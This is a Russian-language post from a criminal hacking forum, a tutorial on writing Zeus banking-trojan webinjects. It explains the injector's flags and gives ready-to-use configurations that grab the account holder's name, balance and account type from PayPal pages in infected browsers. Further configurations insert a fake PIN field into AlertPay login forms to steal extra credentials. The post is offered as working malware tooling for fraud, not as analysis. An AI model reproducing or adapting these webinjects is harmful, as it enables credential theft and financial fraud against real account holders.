1. По причине блокировки роскомнадзором раз в несколько месяцев мы меняем доменное имя. Чтоб не потерять новую ссылку просто зарегистрируйтесь и вы получите сообщение о замене на свою почту!
    Скрыть объявление
Скрыть объявление
По причине блокировки роскомнадзором раз в несколько месяцев мы меняем доменное имя. Чтоб не потерять новую ссылку просто зарегистрируйтесь и вы получите сообщение о замене на свою почту!
Скрыть объявление
Проводите сделки через Гарант-сервис чтоб полностью обезопасить свои покупки.

Практика написания инжектов для Zeus на примере PayPal

Тема в разделе "Спам, ботнеты, кодинг, загрузки", создана пользователем E111KX77, 19 ноя 2012.

  1. E111KX77

    E111KX77

    Сообщения:
    50
    Симпатии:
    0
    Баллы:
    6
    Всем привет, в этой статье я покажу на практике как написать инжекты для граббинга баланса, типа, имени холдера.Для работы нам потребуется локальный веб-сервер, билдер и админка зевса,текстовый редактор,браузер опера(по желанию,но в статье буду работать именно с ним) и акк палки.
    1.Настройка ПО.
    Ставим веб-сервер,зевса.Про это много статей,описывать все по новой небуду.Ставим браузер и редактор.Прошу обратить внимание что в разных браузерах html код обрабатывается по разному.
    2.Граббим данные с PayPal.
    Для работы я буду использовать свой РУ акк,это неначто по большому счету невлияет.
    И так,после входа в ПС видим наизусть знакомый нам интерфейс системы. Что будем грабить с этого акка это имя,баланс,тип.
    Жмем правой кнопкой на пустом месте в странице, в контекстном меню выбираем “Проинспектировать элемент” .Увидем следущее:

    [​IMG]

    Красным я выделил данные которые будем собирать.
    Начнем с имени, шелкаем лкм на нем,раскрываем код:

    [​IMG]

    Сделаю небольшое отступление, приведу вырезку по тэгам и флагам.


    Quote: URL - URL на которую должен срабатывать веб-инжект, можно использовать маску.
    флаги - определяет основное условие загрузки, может состоять из нескольких флагов в любом порядке, но с учетом регистра. В настоящее время доступны следующие флаги:
    P - запускать веб-инжект при POST запросе на URL.
    G - запускать веб-инжект при GET запросе на URL.
    L - изменяет предназначение веб-инжекта, если указать этот флаг, то будет получен нужный кусок данных и немедленно сохранен в лог.
    F - дополняет флаг L, позволяет записывать результат не в лог, а в отдельный файл.
    H - дополняет флаг L, сохраняет нужный кусок данных без вырезания тегов.
    D - запускать веб-инжект раз в 24 часа.
    После указания URL, со следующей строки начинается перечисление веб-инжектов, которое длится до тех пор, пока не достигнут конец файла или не задана новая URL при помощи очередной записи set_url. Один веб-инжект состоит из трех элементов:
    Без флага L:
    data_before - маска данных после которых нужно записать новые данные.
    data_after - маска данных перед которыми следует записать новые данные.
    data_inject - новые данные, на которые будет заменено содержимое между data_before, data_after.
    С флагом L:
    data_before - маска данных после которых начинается кусок получаемых данных.
    data_after - маска данных перед которыми кончается кусок получаемых данных.
    data_inject - играет роль заголовка для получаемых данных, нужен лишь для визуального выделения в логах.
    Проще говоря data_before ставится перед началом места что будем грабить или откуда будут записываться наши данные, data_after закрывает наш инжект,а data_inject это данные которые будут записаны(html код),при флаге L его можно неставить.Разберем на примере.
    На скриншоте я указал где у нас data_before и data_after для граббинга имени.
    Для граббинга используется влаг L,поэтому data_inject нас неинтересует.
    Как же граббить?
    Вначале необходимо установить url при котором он будет запускаться,в нашем случае это сайт paypal.com.Собираем
    Код:

    Quote: set_url https://www.paypal.com/* GPL
    Поясняю, set_url-устанавливаем запуск инжекта на наш урл.Далее идет линк
    Код:

    Quote: https://www.paypal.com/*
    Сдесь * служит для того чтобы при любом пути(webscr?cmd=_login-done&login_access=1303313700, webscr?cmd=_login-done&login_access=100500 и тд) сработал инжект,в зависимости от стран линк меняется.Например:
    Код:

    Quote: https://www.paypal.com/us/
    https://www.paypal.com/de
    /
    и тд.Далее идут флаги GPL.GP для того чтобы инжект запускался при пост и гет запросах,L указывает на то что будем грабить данные.
    Расставляем наши метки,для этого ищем подходящие теги в сорце страницы,в нашем случае это <h2> и </h2>.Помещаем в data_before тег <h2>.
    data_inject оставляем пустыми.
    Цитата: set_url https://www.paypal.com/* GPL
    data_before
    <h2>
    data_end
    data_inject
    data_end

    Закрываем инжект, </h2> находится в конце нужным нам данных,указываем его в data_after.

    Quote: set_url https://www.paypal.com/* GPL
    data_before
    <h2>
    data_end
    data_inject
    data_end
    data_after
    </h2>
    data_end
    Вот и все,наш 1 инжект готов)Небольшое отступление,вы заметили «<!--googleoff: all-->» и спросите почему он несграбился,этого неслучилось потому-что мы непоставили флаг H,установите его,тогда будут грабиться и теги.
    По анологии создаем для грабинга баланса,статуса,типа.Главное понять где правильно указать начало и конец сграбираевымых данных,смотрим в сорц страницы.

    [​IMG]

    Сдесь мы будем вырезать данные от «<li class="balance">» и заканчивать на «</span>».Почему не начинать с «<strong>» и заканчивать на «</strong>»?Представьте что между тэгами strong хранятся еще куча других данных которые нас совсем не интересуют,зевс сграбит и их,в этоге получи нужные нам данные,но с примесью мусора. А «<li class="balance">» говорит нам что категория называется баланс.Готовый инжект будет выглядеть так:

    Quote: set_url https://www.paypal.com/* GPL
    data_before
    <li class="balance">
    data_end
    data_inject
    data_end
    data_after
    </span>
    data_end
    Все впринципе думаю уже ясно,приведу примеры для грабинга типа аккаунта.

    Quote: set_url https://www.paypal.com/* GPL
    data_before
    <li class="accTypeList metaDataFirst">
    data_end
    data_inject
    data_end
    data_after
    </li>
    data_end
    3.Получаем дополнительные данные.
    Сдесь приведу на примере alertpay.com.Дополнительное поле для граббинга PIN.Флаг L больше нам ненужен,будем использовать только GP.
    Открываем сорц страницы входа в алерт.Находим место где идет код логина и пароля.Будем ставить дополнительное поле после пароля.Смотрим на скриншот.

    [​IMG]

    Красным я выделил начало и конец кода который будем использовать,то есть

    Quote: <div class="fielditem">
    <label for="ctl00_main_loginInfo_txtNewPassword" id="ctl00_main_loginInfo_litPassword">Password</label><br />
    <input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
    </div>
    Теперь заменяем слово Password на слово PIN.Получаем:

    Quote: <div class="fielditem">
    <label for="ctl00_main_loginInfo_txtNewPIN" id="ctl00_main_loginInfo_litPIN">PIN</label><br />
    <input name="ctl00$main$loginInfo$txtNewPIN" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPIN" tabindex="2" />
    </div>
    Этот код мы будем инжектить в страницу с помошью тэга data_inject.Теперь нужно все правильно расставить.Из кода смотрим вначале метку для data_before,нам подходит

    Quote: <input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
    Заметьте,я добавлю еще кусочек кода от формы пароля(закрывающий </div>).Теперь ставим наш инжект

    Quote: set_url https://www.alertpay.com/login.aspx GP
    data_before
    <input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
    data_end
    data_inject
    </div>
    <div class="fielditem">
    <label for="ctl00_main_loginInfo_txtPin" id="ctl00_main_loginInfo_litPassword">Pin</label>
    <br/>
    <input name="ctl00$main$loginInfo$txtPin" type="password" maxlength="30" id="ctl00_main_loginInfo_txtPin" tabindex="2"/>
    </div>
    data_end
    И закрываем его.

    Quote: data_after
    <div class="message">
    data_end
    В итоге html код алертпая теперь будет таким:

    [​IMG]

    Теперь пользователь перед входом в акк перед собой увидет

    [​IMG]

    Полный код инжект для страницы входа и главной.

    Quote: set_url https://www.alertpay.com/login.aspx GP
    data_before
    <input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" />
    data_end
    data_inject
    </div>
    <div class="fielditem">
    <label for="ctl00_main_loginInfo_txtPin" id="ctl00_main_loginInfo_litPassword">Pin</label>
    <br/>
    <input name="ctl00$main$loginInfo$txtPin" type="password" maxlength="30" id="ctl00_main_loginInfo_txtPin" tabindex="2"/>
    </div>
    data_end
    data_after
    <div class="message">
    data_end
    set_url https://www.alertpay.com/* GP
    data_before
    <input name="Password" type="password" class="textfield" />
    data_end
    data_inject
    </td>
    </tr>
    <tr>
    <td align="right">
    Pin:
    </td>
    <td>
    <input name="Pin" type="password" class="textfield" />
    </td>
    </tr>
    data_end
    data_after
    <td colspan="2" style="padding:
    data_end
    Вот и все.Статья была написана с промежутками по времени и по мере возможности.Будут нестыковки и недочеты-пишите поправлю)

    Автор статьи sweet_hack

Поделиться этой страницей